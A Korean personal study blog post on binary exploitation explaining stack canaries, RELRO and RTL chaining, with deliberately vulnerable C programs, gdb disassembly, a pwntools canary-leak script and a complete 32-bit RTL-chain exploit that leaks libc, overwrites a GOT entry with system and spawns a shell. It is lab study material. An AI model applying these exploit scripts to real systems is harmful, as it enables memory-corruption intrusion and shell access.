본문 바로가기
개인 공부/포너블

Canary 와 RELRO 란 + RTL chaining 실습

by 아메리카노와떡볶이 2022. 1. 21.
728x90
sf3 해결을 위한 사전 공부

sf3 문제를 풀이하는 순서는 다음과 같다.

 

1. 카나리 우회 후 RET overwrite
2. GOT overwrite 로 외부함수를 호출
3. RTL chaining 

 

따라서 이 세가지 개념에 대해 먼저 학습해볼 것이다.

 

먼저 Got overwrite는 쉽게 말해서 got 에 있는 함수를 공격자가 원하는 함수로 덮어씌워서 사용하는 방식의 공격을 말하는데 이전 시간에 공부해보았었다.

https://man-25-1.tistory.com/193

 

GOT Overwrite + OOB 실습

sf2 write up 이번 과제에서 다루는 내용은 PLT를 호출했을때 참조하는 GOT를 이용해서 쉘을 따는 것이다. PLT와 GOT에 대한 이해가 선행되어야해서 공부해두었다. C컴파일 과정과 PLT와 GOT pw: sf2 https://m

man-25-1.tistory.com

이번 실습에서 overwrite하는 방법은 조금 다르지만 개념은 동일하기때문에 패스.

 

Canary 보호기법이란?

메모리 보호 기법 중 하나로 스택프레임과 스택 변수 사이에 특정한 값을 추가해서 BOF가 발생했는지 감지하는 기법

canary가 위와 같이 스택프레임과 스택 변수사이에 위치하게 되면서 공격자가 RET를 조작하기위해 BOF 공격을 시도할 때, canary값이 먼저 덮어지게 된다. 따라서 canary값의 변조 유무를 통해 bof 공격을 탐지할 수 있다.

 

간단한 코드를 통해 canary 가 작동하는 과정을 알아보자.

** canary.c

#include <stdio.h>

int main()
{
        int i,j,k;
        char overflow[12];
        printf("hello world\n");
        gets(overflow);
}

 

위의 코드는 12바이트의 버퍼에 입력을 받기때문에 버퍼와 RET ,SFP를 채우는 20바이트 이상의 입력을 주면 

BOF가 발생할 것이다.

 

한번 입력을 넣어보면 아래와 같이 stack smashing detected 라는 문구가 뜬다.

 

그럼 실제로 canary가 어떻게 작동하는지 그 원리를 알아보자

 

main을 까보면 아래와 같은데

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005d6 <+0>: push   rbp
   0x00000000004005d7 <+1>: mov    rbp,rsp
   0x00000000004005da <+4>: sub    rsp,0x40
   0x00000000004005de <+8>: mov    DWORD PTR [rbp-0x34],edi
   0x00000000004005e1 <+11>: mov    QWORD PTR [rbp-0x40],rsi
   0x00000000004005e5 <+15>: mov    rax,QWORD PTR fs:0x28
   0x00000000004005ee <+24>: mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005f2 <+28>: xor    eax,eax
   0x00000000004005f4 <+30>: mov    edi,0x4006b4
   0x00000000004005f9 <+35>: call   0x400490 <puts@plt>
   0x00000000004005fe <+40>: lea    rax,[rbp-0x30]
   0x0000000000400602 <+44>: mov    rdi,rax
   0x0000000000400605 <+47>: mov    eax,0x0
   0x000000000040060a <+52>: call   0x4004c0 <gets@plt>
   0x000000000040060f <+57>: mov    eax,0x0
   0x0000000000400614 <+62>: mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400618 <+66>: xor    rdx,QWORD PTR fs:0x28
   0x0000000000400621 <+75>: je     0x400628 <main+82>
   0x0000000000400623 <+77>: call   0x4004a0 <__stack_chk_fail@plt>
   0x0000000000400628 <+82>: leave  
   0x0000000000400629 <+83>: ret    
End of assembler dump.

fs:0x28 에서 canary를 가져와서 * [rbp-0x8]에 저장해두었다가

rdx로 가져와서 기존의 fs:0x28의 값과 xor연산을 통해 변조되었는지 확인하고

변조되었을시 stack_chk_fail 함수를 호출하는 것이다.

 

0x00000000004005e5 <+15>: mov    rax,QWORD PTR fs:0x28

에 bp를 걸고 실행해서 rax 레지스터를 살펴보면 아래와 같이 특정 세그먼트에서 canary를 받아온 모습을 확인할 수 있다. 주목해야할 것은 canary 문자열의 마지막은 항상 0x00 즉 NULL 문자라는 것인데, 그 이유는 문자열이기때문에

같이 출력되지않도록 NULL 문자가 끝에 있는 것이다.

버퍼를 초과하는 입력을 주었을때 canary 변수가 어떻게 변조되는지 확인해보자.

 

 

우선 스택을 살펴보면 아래와 같은 구조이다.

지역변수에 대한 공간과 canary 에 해당하는 8바이트를 위해 32바이트만큼 스택프레임을 만든다

   0x4005d6 <main>       push   rbp
   0x4005d7 <main+1>     mov    rbp, rsp
   0x4005da <main+4>     sub    rsp, 0x20
   0x4005de <main+8>     mov    rax, qword ptr fs:[0x28]
 ► 0x4005e7 <main+17>    mov    qword ptr [rbp - 8], rax
   0x4005eb <main+21>    xor    eax, eax
   0x4005ed <main+23>    mov    edi, 0x4006b4
   0x4005f2 <main+28>    call   puts@plt                      <puts@plt>
 
   0x4005f7 <main+33>    lea    rax, [rbp - 0x20]
   0x4005fb <main+37>    mov    rdi, rax
   0x4005fe <main+40>    mov    eax, 0

main+4의 sub rsp,0x20 명령어를 통해 32바이트 크기의 스택프레임이 형성되고

그 후 아래와 같이 스택이 형성된다.

스택포인터에서 80바이트를 긁어보면 익숙한 문자열이 보이는데

아까 RAX에 담겨있던 8바이트의 canary 문자열이다.

스택포인터로부터 24바이트 떨어진곳에 canary가 위치하는것을 확인할 수 있다.

 

여기서 입력에 bof를 위해 버퍼의 크기를 초과하는 A 문자열을 주면

이렇게 canary가 먼저 변조된 것을 확인할 수 있다. 이 변조된 값과 원래 canary 두 값의 xor연산을 통해 bof가 탐지되는것이다.

 

Canary 무력화

시스템 해킹을 공부하는 입장이므로 이번엔 canary를 어떻게 무력화할 수 있을지 고민해보자.

disassemble 해보았을때, canary 가 변조된 것을 xor 연산을 통해 탐지하는 원리였다.

따라서 당연하게도 canary를 무력화하는 방법은 canary 문자열을 변조하지않고 공격하는 것이다. 

 

어떻게 변조하지않고 공격을 할 수 있을까?

바로 canary 문자열을 leak하면된다. 

 

1. canary를 leak 한 후에,

2. bof를 터뜨리는 페이로드를 작성할 때 

3. canary 문자열에 해당하는 부분을  임의의 문자가 아니라 leak 한 canary로 덮어씌우면

4. 공격은 성공하지만 canary는 변조되지않기때문에 무력화가 가능하다.

 

아래의 코드를 통해 간단하게 실습을 진행해보자

void vuln()
{
  char buf[0x10];
  //first bof
  printf("first : ");
  read(0, buf, 0x40);
  printf("first input : %s\n",buf);
  
  //second bof
  printf("second : ");
  read(0, buf, 0x40);
  printf("second input : %s\n",buf);

 

보다싶이 두번의 bof가 터지는 코드인데, 이것을 통해서 canary를 leak 할 수 있다.

처음 first input으로 17개의 A를 넣으면 스택이 아래와 같은 모습이다.

여기서 형광색칠한 0x05b90a00 이 canary 문자열인데 현재 A를 통해 덮여있다.

따라서 원래의 canary는 첫 바이트가 null 이기때문에 buf를 출력해도 카나리가 출력되지않지만

첫번쨰 bof에서 canary의 첫 널 바이트를 특정 문자로 덮어주었기때문에 두번째 bof에서는 카나리 또한

출력이 될 것이다.

 

p =  process('./b')

p.recvuntil(b"first : ")

pay = ''
pay += 'A' * 16 # for buffer 
pay += 'B'  #for canary first byte

p.sendline(pay)
p.recvuntil(b"B")

leak = p.recv(3) # read first 3 byte of canary

canary = b"\x00"+leak
print("leak canary @",hex(u32(canary)))
input()
p.interactive()

위와 같은 익스코드를 짜서 실행해주었더니

canary 문자열을 leak했다. 

따라서 leak한 canary를 공격페이로드에 넣어주면 canary가 변조되지않는 공격을 할 수 있게 되는 것이다.

 

RELRO 보호기법

RELocation Read Only 라는 의미로 데이터가 배치된 메모리의 특정 부분에 읽기전용(Read-Only) 권한을

부여하는 기법이다.

쓰기 권한이 없기때문에 메모리에 배치되어 있는 데이터를 변경하지 못하도록 보호한다. 

1. No RELRO
이름에서 알 수 있듯, read-only 속성이 부여되지 않은 상태

따라서 해당 메모리의 데이터를 변경할 수 있다.


2. Partial RELRO
메모리의 부분에만 read-only 속성을 부여한 상태이다.

 

3.  FULL RELRO
전부 read-only 속성이 부여된 상태이다.

 

RELRO 속성을 확인했을때 1,2 번이라면 GOT Overwrite 공격이 가능하고 , 3번일경우에는 GOT영역이 모두 읽기 권한만 있으므로 GOT overwrite 공격이 불가능하다.

 

RTL-Chaining

이번 문제 풀이에 가장 핵심이 되는 개념인 RTL chaining 이다.

**chain.c

#include <stdio.h>

void vuln();

int main(void) {
  setvbuf(stdin,0,2,0);
  setvbuf(stdout,0,2,0);
  vuln();
  return 0;
}

void vuln(){
    char name[0x10];
    printf("payload: ");
    read(0,name,0x100);

    puts("done.");
}

 

말 그대로 RTL 을 체인처럼 연속적으로 수행한다는 의미이다.

아래의 스택 그림을 통해 이해해보자

 

일반적인 RTL 공격이라면 BOF 를 통해 RET 를 공격자가 원하는 함수의 주소로 변조시키는 것이다.

따라서 위와 같은 경우 FUNC1 을 호출하는 코드가 된다.

 

이때 RTL Chaining 이란 FUNC1 의 return 을 통해 다시 또 다른 함수 FUNC2 를 수행시키고자 하는 것이다.

RET는 POP eip, jmp eip 로 이루어진 명령어이다.

따라서 현재 스택이 가리키고 있는 주소를 eip에 넣어서 eip의 명령을 수행하게 된다.

그럼 FUNC1의 RET 에 무엇이 들어가야 FUNC2 로 갈 수 있을까?

 

바로 POP gadget이다. 스택 포인터가 가리키는 값을 한칸 올려서 FUNC2 를 호출하는 값을 가리키게 하는 것이다

마찬가지로 RET OF FUNC2 에도 pop gadget 을 넣어주면 RTL chaining이 가능하다.

여기서 만약 함수의 인자가 여러개라면 인자의 개수만큼 pop gadget을 넣어주면 된다.

 

이것이 RTL chaining의 개념이고, 각각의 func 을 어떻게 구성할지를 전략적으로 잘 생각해야한다.

 

그럼 한번 위의 chain.c 에서 쉘을 따내는 익스를 짜보자

 

p =  process('./chain1')
#canary leak (이번 문제에선 편의를 위해 canary off)

#사용하고자 하는 함수의 plt & got
read_plt = 0x8048390
printf_plt = 0x80483a0
puts_plt = 0x80483b0

read_got = 0x804a00c
printf_got = 0x804a010
puts_got = 0x804a014

#gadget

#pay

pay = b''
pay += b"A" * 0x18
pay += b'XXXX'
pay += p32(puts_plt) #func1 에 해당하는 함수 호출
pay += b'YYYY' #func1 을 호출하고 난 뒤 반환
pay += p32(read_got) #func1 에 대한 호출 인자
p.send(pay)

p.interactive()

먼저 위와 같이 익스를 짜면 func1 에 해당하는 함수는 puts함수가 되고

read_got 가 출력되고 프로그램이 종료될 것이다. 보기쉽게 스택에 나타내보면 아래의 그림이다.

read got가 출력되는 것을 확인할 수 있다.

 

이제 어떻게 RTL chain을 구성할지 크게 전략을 생각해보면 다음과 같다.

 

1. puts 함수를 호출해서 read got를 출력한다

2. read 함수를 호출해서 got overwrite 를 통해 puts 함수를 system 함수로 덮어씌운다

3. 다시 puts 함수를 호출하면 system 함수가 호출되고 쉘을 따낸다.

이렇게 공격 페이로드를 구성한다면 내가 원하는 스택의 모습은 아래의 그림이다.

대략적으로 익스를 짠 코드

p =  process('./chain1')
#canary leak (이번 문제에선 편의를 위해 canary off)

#사용하고자 하는 함수의 plt & got
read_plt = 0x8048390
printf_plt = 0x80483a0
puts_plt = 0x80483b0

read_got = 0x804a00c
printf_got = 0x804a010
puts_got = 0x804a014

#gadget
pr = 
ppr = 
#pay

pay = b''
pay += b"A" * 0x18
pay += b'XXXX'
pay += p32(puts_plt) #func1 에 해당하는 함수 호출
pay += p32(pr) #esp를 인자개수만큼 옮겨주기 위해 pop 가젯 사용
pay += p32(read_got) #func1 에 대한 호출 인자

pay += p32(read_plt) #func2 에 해당하는 함수 호출
pay += p32(pppr) # 인자개수가 3개이므로 pop 3개 가젯 사용
pay += p32(0)
pay += p32(puts_got)
pay += p32(0x100)
#호출한 func2 ==> read(0,puts_got,0x100)

pay += p32(puts_plt) # puts_plt를 호출할시 system이 호출됨
pay += b'YYYY' # dummy data
pay += p32(puts_got+4) # bin/sh 문자열을 써놓은 주소
#호출한 func3 => system("/bin/sh")

p.send(pay)
#func1 -> func2 -> func3 순서로 진행

#func1 에서 puts(read_got) 가 되므로 read함수의 got address가 출력될 것
#이것을 이용해서 base 알아내기

p.recvuntil("done.\n")
libc_base = u32(p.recv(4)) - read offset
libc_system = base + sys offset


#func2의 read함수의 입력에 대한 두번째 payload
#puts_got 영역에 덮어씌우는 것이므로 system의 주소를 넣어야함
pay2 =''
pay2 += p32(system) # --> got overwrite 되어 system 호출

pay2 += b"bin/sh/" # puts_got 주소의 다음 4바이트에 문자열 bin/sh 넣어두기

p.send(pay2)

p.interactive()

 

 

최종 익스 코드 

from pwn import *

p =  process('./chain1')
#canary leak


#plt & got
read_plt = 0x8048390
printf_plt = 0x80483a0
puts_plt = 0x80483b0

read_got = 0x804a00c
printf_got = 0x804a010
puts_got = 0x804a014

#gadget
pr = 0x080485db
pppr = 0x080485d9

#pay
pay = b''
pay += b"A" * 0x18
pay += b'XXXX'

pay += p32(puts_plt)
pay += p32(pr)
pay += p32(read_got)

pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(puts_got)
pay += p32(0x100)

pay += p32(puts_plt)
pay += b'AAAA'
pay += p32(puts_got+4)
 
p.send(pay)

#func address
p.recvuntil("done.\n")

leak = u32(p.recv(4))
libc_base = leak - 0x0d5c20
libc_system = libc_base + 0x03adb0

#pay2 for got overwrite
pay2 =b''
pay2 += p32(libc_system)
pay2 += b"/bin/sh\x00"

p.send(pay2)
p.interactive()

 

결과

 

728x90

'개인 공부 > 포너블' 카테고리의 다른 글

C컴파일 과정과 PLT와 GOT  (0) 2022.01.08

댓글